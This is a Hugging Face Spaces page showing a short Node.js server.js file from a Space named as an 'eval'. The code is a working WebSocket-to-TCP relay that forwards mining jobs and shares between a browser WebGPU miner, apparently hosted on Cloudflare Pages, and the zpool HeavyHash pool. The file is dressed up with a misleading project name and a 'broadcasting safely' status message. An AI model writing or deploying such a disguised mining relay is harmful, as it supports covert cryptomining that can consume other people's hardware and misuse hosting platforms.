Spaces:
Sleeping
Sleeping
Download server.js from api-relay/archx-eval: direct link, hf CLI and curl.
- Browser
- Download file 2.5 kB
-
https://huggingface.co/spaces/api-relay/archx-eval/resolve/ddbbee2dab329b8499f01f02020fb31efea355db/server.js
- Command line
-
hf download hf://spaces/api-relay/archx-eval@ddbbee2dab329b8499f01f02020fb31efea355db/server.js
-
curl -L -o server.js https://huggingface.co/spaces/api-relay/archx-eval/resolve/ddbbee2dab329b8499f01f02020fb31efea355db/server.js
2.5 kB
| const http = require('http'); | |
| const net = require('net'); | |
| const WebSocket = require('ws'); | |
| // Hugging Face strictly listens on internal traffic port 7860 | |
| const PORT = 7860; | |
| const POOL_HOST = 'heavyhash.mine.zpool.ca'; | |
| const POOL_PORT = 5136; // Port for Zpool's HeavyHash algorithm | |
| const server = http.createServer((req, res) => { | |
| res.writeHead(200, { 'Content-Type': 'text/plain' }); | |
| res.end('Proxy active and broadcasting safely.\n'); | |
| }); | |
| const wss = new WebSocket.Server({ server }); | |
| wss.on('connection', (ws) => { | |
| console.log('Browser linked to cloud array. Spawning TCP socket to Zpool...'); | |
| // Open an direct TCP socket socket layer to the Zpool server architecture | |
| const stratumSocket = new net.Socket(); | |
| stratumSocket.connect(POOL_PORT, POOL_HOST, () => { | |
| console.log(`TCP Handshake complete with: ${POOL_HOST}:${POOL_PORT}`); | |
| }); | |
| // Forward messages arriving from your Cloudflare Pages WebGPU script to Zpool | |
| ws.on('message', (message) => { | |
| try { | |
| const dataStr = message.toString(); | |
| console.log(`[Browser -> Pool]: ${dataStr.trim()}`); | |
| stratumSocket.write(dataStr + '\n'); | |
| } catch (err) { | |
| console.error('Error handling WebSocket message frame:', err); | |
| } | |
| }); | |
| // Forward block jobs and share confirmations returning from Zpool to your browser | |
| let buffer = ''; | |
| stratumSocket.on('data', (data) => { | |
| buffer += data.toString(); | |
| const lines = buffer.split('\n'); | |
| buffer = lines.pop(); // Retain incomplete data fragments in buffer stream | |
| for (const line of lines) { | |
| if (line.trim()) { | |
| console.log(`[Pool -> Browser]: ${line.trim()}`); | |
| if (ws.readyState === WebSocket.OPEN) { | |
| ws.send(line); | |
| } | |
| } | |
| } | |
| }); | |
| // Error handling safeguards | |
| ws.on('close', () => { | |
| console.log('Browser closed tab instance. Destroying pool socket pipeline.'); | |
| stratumSocket.destroy(); | |
| }); | |
| stratumSocket.on('close', () => { | |
| console.log('Zpool stream connection dropped. Disconnecting client WebSocket.'); | |
| ws.close(); | |
| }); | |
| ws.on('error', (err) => console.error('WS Error:', err)); | |
| stratumSocket.on('error', (err) => console.error('TCP Socket Error:', err)); | |
| }); | |
| server.listen(PORT, '0.0.0.0', () => { | |
| console.log(`Server executing compute bridge protocols on port ${PORT}`); | |
| }); | |